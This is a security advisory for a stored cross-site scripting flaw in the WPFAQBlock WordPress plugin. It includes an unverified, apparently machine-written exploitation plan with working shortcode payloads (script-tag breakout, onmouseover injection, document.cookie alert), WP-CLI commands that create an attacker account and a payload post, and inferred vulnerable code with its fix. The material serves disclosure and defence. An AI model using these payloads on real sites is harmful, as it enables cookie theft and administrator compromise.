CVE-2026-1093

WPFAQBlock– FAQ & Accordion Plugin For Gutenberg <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'class' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The WPFAQBlock– FAQ & Accordion Plugin For Gutenberg plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' parameter of the 'wpfaqblock' shortcode in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1
PublishedMarch 20, 2026
Last updatedMay 12, 2026
Affected pluginwpfaqblock
Research Plan
Unverified

This research plan outlines the technical steps to exploit **CVE-2026-1093**, a Stored Cross-Site Scripting (XSS) vulnerability in the **WPFAQBlock** plugin. --- ### 1. Vulnerability Summary The **WPFAQBlock** plugin (versions <= 1.1) fails to properly sanitize or escape the `class` attribute of i…

Show full research plan

This research plan outlines the technical steps to exploit CVE-2026-1093, a Stored Cross-Site Scripting (XSS) vulnerability in the WPFAQBlock plugin.


1. Vulnerability Summary

The WPFAQBlock plugin (versions <= 1.1) fails to properly sanitize or escape the class attribute of its [wpfaqblock] shortcode. When the shortcode is processed, the user-supplied class value is concatenated into an HTML tag (likely a div or section) without being passed through esc_attr(). This allows a user with Contributor privileges or higher to inject arbitrary HTML and JavaScript into the rendered page.

2. Attack Vector Analysis

  • Shortcode: [wpfaqblock]
  • Vulnerable Attribute: class
  • Authentication Required: Contributor+ (standard WordPress permission to create/edit posts and use shortcodes).
  • Persistence: Stored (the payload is saved in the wp_posts table and executes whenever the post is viewed).
  • Sink: The value of the class attribute is reflected in the HTML source of the post on the frontend.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode during the init hook using add_shortcode( 'wpfaqblock', 'render_callback_function' );.
  2. Parsing: The callback function uses shortcode_atts() to merge user-supplied attributes with defaults.
    // Predicted logic in callback:
    $atts = shortcode_atts( array(
        'class' => '',
        // ... other attributes
    ), $atts );
    
  3. Rendering (The Sink): The plugin constructs the HTML output. It likely echoes or returns a string where the class attribute is placed inside double quotes.
    // Predicted vulnerable sink:
    $output = '<div class="' . $atts['class'] . '">'; // No esc_attr() used here
    
  4. Execution: When a visitor (including an Administrator) views the post, the browser interprets the injected quote (") as the end of the class attribute, allowing the attacker to add new attributes (like onmouseover) or close the tag and start a <script> block.

4. Nonce Acquisition Strategy

This vulnerability is triggered by rendering a shortcode. In WordPress, shortcodes are parsed automatically when a post is displayed.

  • Post Creation: To inject the shortcode, we will use WP-CLI. This bypasses the need for frontend nonces associated with the Gutenberg editor or AJAX-based autosaves.
  • Frontend Execution: No nonce is required to trigger the XSS. The payload executes when any user navigates to the public URL of the post.

5. Exploitation Strategy

  1. Authentication: Authenticate as a Contributor user.
  2. Injection: Use WP-CLI to create a new post containing the malicious shortcode.
  3. Payload Selection:
    • Primary Payload (Attribute Breakout): [wpfaqblock class='"><script>alert(window.origin)</script>']
    • Alternative Payload (Attribute Injection): [wpfaqblock class='x" onmouseover="alert(1)" style="width:1000px;height:1000px;display:block;']
  4. Triggering: Navigate to the published post's URL using an Administrator session to demonstrate the impact (e.g., cookie theft or admin dashboard access).

6. Test Data Setup

  • User: Create a user with the contributor role.
  • Post:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    wp post create --post_type=post --post_status=publish --post_title="FAQ Page" --post_author=$(wp user get attacker --field=ID) --post_content='[wpfaqblock class="\"><script>confirm(\"XSS_EXPLOITED\")</script>"]'
    

7. Expected Results

  • The HTML source of the rendered page should contain:
    <div class=""><script>confirm("XSS_EXPLOITED")</script>"> (or similar depending on the exact tag name).
  • The JavaScript confirm() dialog should trigger automatically upon page load.

8. Verification Steps

  1. Retrieve Post URL: Use wp post list to find the ID of the created post, then get the permalink.
  2. Navigate and Audit: Use browser_navigate to visit the post.
  3. Inspect Source: Use browser_eval to check for the existence of the injected script tag in the DOM.
    // Check if the script exists
    document.body.innerHTML.includes('confirm("XSS_EXPLOITED")')
    
  4. Verify Admin Impact: Log in as an administrator and visit the same URL to confirm the script executes in a high-privileged context.

9. Alternative Approaches

If the plugin uses a specific Gutenberg block instead of a standard shortcode (common in modern "Block" plugins):

  • Gutenberg Attribute Injection: The payload would be injected into the block's JSON attributes. We would still target the class or className attribute.
  • REST API Injection: If the contributor uses the REST API to save the post, we would send a POST request to /wp-json/wp/v2/posts/[ID] with the shortcode in the content field.

Payload Note: If the plugin uses esc_html() but not esc_attr(), the breakout "> will still work because esc_html() only encodes < and >, while esc_attr() is required to encode quotes. Since the injection point is an attribute (class="..."), breaking out of the quotes is the primary goal.

Research Findings
Static analysis — not yet PoC-verified

Summary

The WPFAQBlock plugin for WordPress (versions <= 1.1) is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient output escaping on the 'class' attribute within the [wpfaqblock] shortcode. This allow authenticated users with Contributor-level permissions or higher to inject arbitrary JavaScript into pages that executes when viewed by other users, including administrators.

Vulnerable Code

// Inferred code within the shortcode registration callback
// File path likely: wp-content/plugins/wpfaqblock/wpfaqblock.php or similar

$atts = shortcode_atts( array(
    'class' => '',
    'id'    => '',
), $atts );

$output = '<div class="' . $atts['class'] . '">';

Security Fix

--- a/wpfaqblock.php
+++ b/wpfaqblock.php
@@ -10,7 +10,7 @@
     $atts = shortcode_atts( array(
         'class' => '',
     ), $atts );
 
-    $output = '<div class="' . $atts['class'] . '">';
+    $output = '<div class="' . esc_attr( $atts['class'] ) . '">';

Exploit Outline

The exploit involves an attacker with at least Contributor privileges injecting a malicious script via the plugin's shortcode. 1. Authenticate as a Contributor. 2. Create or edit a post and insert the following shortcode: [wpfaqblock class='\"><script>alert(document.cookie)</script>']. 3. The plugin fails to sanitize the 'class' attribute and reflects the raw input into the HTML 'class' property. 4. The payload uses a double quote to break out of the HTML attribute and inserts a <script> tag. 5. When any user (such as an Administrator) views the published post, the JavaScript payload executes in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.